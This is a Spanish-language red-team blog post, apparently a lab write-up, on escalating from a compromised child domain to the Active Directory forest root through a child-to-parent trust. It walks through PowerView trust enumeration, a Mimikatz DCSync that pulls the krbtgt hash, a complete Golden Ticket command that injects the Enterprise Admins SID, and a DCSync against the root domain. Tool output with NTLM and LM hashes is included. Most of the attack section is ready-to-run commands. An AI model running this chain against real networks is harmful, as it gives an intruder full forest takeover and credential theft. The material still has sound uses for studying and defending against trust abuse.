Active Directory Domain Trust: Abusing Child-to-Parent Trust
INTRODUCCIÓN
Las relaciones de confianza (Domain Trusts) en Active Directory son fundamentales para permitir que los usuarios de un dominio accedan a recursos en otros dominios. Sin embargo, desde una perspectiva de Red Teaming, estas relaciones representan un excelente vector para la escalada de privilegios y el movimiento lateral.
En este post, exploraremos cómo abusar de una relación de confianza de tipo Child-to-Parent (Hijo a Padre) dentro del mismo bosque (Forest) para escalar privilegios desde un subdominio completamente comprometido hacia el dominio raíz.
CONCEPTOS CLAVE
¿Qué es un Domain Trust?
Es un mecanismo de confianza entre dos dominios que permite la autenticación interdominio. Sus propiedades clave son:
- Transitiva / No transitiva: Si A confía en B, y B confía en C, en una relación transitiva, A confía en C.
- Unidireccional / Bidireccional: Define el flujo de la relación de confianza y el acceso a los recursos.
Child-to-Parent Trust
Por defecto, cuando se crea un subdominio (ej. child.domain.local) bajo un dominio raíz (ej. domain.local), se establece automáticamente una relación de confianza bidireccional y transitiva.
SID Filtering (Filtrado de SIDs)
Es el mecanismo de seguridad encargado de limpiar o filtrar SIDs no autorizados en los tickets de autenticación interdominio.
- Entre diferentes bosques (Forests): El filtrado de SIDs está activo por defecto para evitar que un bosque externo inyecte SIDs con altos privilegios.
- Dentro del mismo bosque (Forest): Está desactivado por defecto. Esto significa que el dominio padre confiará en los SIDs adicionales que viajen en el historial de SIDs (
SID History) de un ticket generado por el subdominio.
Esta falta de filtrado dentro del mismo bosque es la que nos permite realizar el ataque de ExtraSIDs utilizando tickets dorados (Golden Tickets).
METODOLOGÍA DE ABUSO
El ataque clásico consiste en forjar un Golden Ticket en el subdominio e inyectar el SID del grupo Enterprise Admins del dominio raíz en el campo de Extra SIDs (SID History). Al presentarlo al controlador de dominio padre, este nos otorgará acceso de Administrador en todo el bosque.
Datos necesarios para el ataque
| Dato | Descripción |
|---|---|
Hash NTLM de krbtgt | Clave del dominio hijo para firmar el Golden Ticket. |
| SID del Dominio Hijo | Identificador base de la cuenta emisora. |
| FQDN del Dominio Hijo | Nombre de dominio completo (ej. LOGISTICS.INLANEFREIGHT.LOCAL). |
| SID de “Enterprise Admins” | SID del grupo con privilegios máximos en el dominio padre (identificable por el RID 519). |
| Nombre de Usuario | Un usuario ficticio o existente para el que se creará el ticket (ej. hacker). |
FASE DE EXPLOTACIÓN
Asumimos que el dominio hijo ya está 100% comprometido y contamos con privilegios elevados en el Controlador de Dominio (DC) del mismo.
1. Reconocimiento e Identificación
Primero, validamos en qué contexto de red nos encontramos:
1
2
3
whoami
$env:USERDOMAIN
whoami /fqdn
Confirmamos que estamos en el dominio hijo LOGISTICS.INLANEFREIGHT.LOCAL.
2. Mapeo de Relaciones de Confianza
Usamos PowerView para identificar los trusts activos del dominio:
1
2
. .\PowerView.ps1
Get-DomainTrust
Como vemos, existe una relación de confianza bidireccional hacia el dominio padre INLANEFREIGHT.LOCAL.
3. Verificación de SID Filtering
Validamos si la protección de filtrado de SIDs está activa para esta relación de confianza:
1
Get-ADTrust -Filter * -Server "LOGISTICS.INLANEFREIGHT.LOCAL" | Select-Object Name, SIDFilteringQuarantined, SIDFilteringForestAware
Al estar SIDFilteringQuarantined en False, confirmamos que podemos abusar del SID History inyectando SIDs adicionales.
4. EJECUCIÓN DEL ATAQUE (PASO A PASO)
Paso 1: Obtener el SID del Dominio Hijo
1
Get-DomainSID
- SID obtenido:
S-1-5-21-2806153819-209893948-922872689
Paso 2: Obtener el SID de “Enterprise Admins” en el Dominio Padre
Consultamos el SID del grupo con máximos privilegios en el dominio raíz:
1
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | Select-Object objectsid
- SID obtenido:
S-1-5-21-3842939050-3880317879-2865463114-519(nótese el RID519correspondiente a Enterprise Admins).
Paso 3: Extraer el Hash NTLM de krbtgt del subdominio
Realizamos un DCSync para extraer las credenciales de la cuenta krbtgt del dominio hijo usando Mimikatz:
1
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
1
2
3
4
5
6
7
8
9
10
11
12
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9d765b482771505cbe97411065964d5f
ntlm- 0: 9d765b482771505cbe97411065964d5f
lm - 0: 69df324191d4a80f0ed100c10f20561e
- Hash NTLM obtenido:
9d765b482771505cbe97411065964d5f
Paso 4: Forjar e Inyectar el Golden Ticket
Con todos los datos recolectados, generamos el Golden Ticket agregando el SID de Enterprise Admins en el parámetro /sids para inyectarlo directamente en memoria (/ptt - Pass-The-Ticket).
💡 Detalle clave: El usuario especificado en el parámetro
/user(en este caso,hacker) no necesita existir en el Active Directory. Dado que el ticket se firma con la clave secreta del servicio (krbtgt), el sistema confía plenamente en la autenticidad del ticket sin necesidad de validar si el usuario realmente existe en la base de datos de AD.
1
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
User : hacker
Domain : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID : S-1-5-21-2806153819-209893948-922872689
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime : 6/6/2026 6:46:09 PM ; 6/3/2036 6:46:09 PM ; 6/3/2036 6:46:09 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully submitted for current session
Validamos que el ticket se encuentre activo en nuestra sesión actual mediante klist:
5. Acceso y Compromiso del Dominio Padre
Con el ticket inyectado en memoria, el dominio raíz nos reconocerá como un miembro del grupo Enterprise Admins.
Podemos comprobarlo listando el directorio compartido del DC del dominio padre:
1
ls \\INLANEFREIGHT.LOCAL\SYSVOL
Finalmente, para consolidar el compromiso absoluto de todo el bosque, realizamos un DCSync contra el dominio raíz para extraer el hash de su cuenta krbtgt:
1
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\krbtgt /domain:INLANEFREIGHT.LOCAL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 10/27/2021 8:14:34 AM
Object Security ID : S-1-5-21-3842939050-3880317879-2865463114-502
Object Relative ID : 502
Credentials:
Hash NTLM: 16e26ba33e455a8c338142af8d89ffbc
ntlm- 0: 16e26ba33e455a8c338142af8d89ffbc
lm - 0: 4562458c201a97fa19365ce901513c21
Así es el compromiso del Dominio Padre mediante una relación de Confianza Child to Parent.
Gracias por leer, espero te sirva y si tienes alguna duda, sugerencia, corrección o simplemente quieres compartir algo al respecto, tienes mis redes para contactarme.
Frase para finalizar:
Sé el cambio que quieres ver en el mundo.
Mahatma Gandhi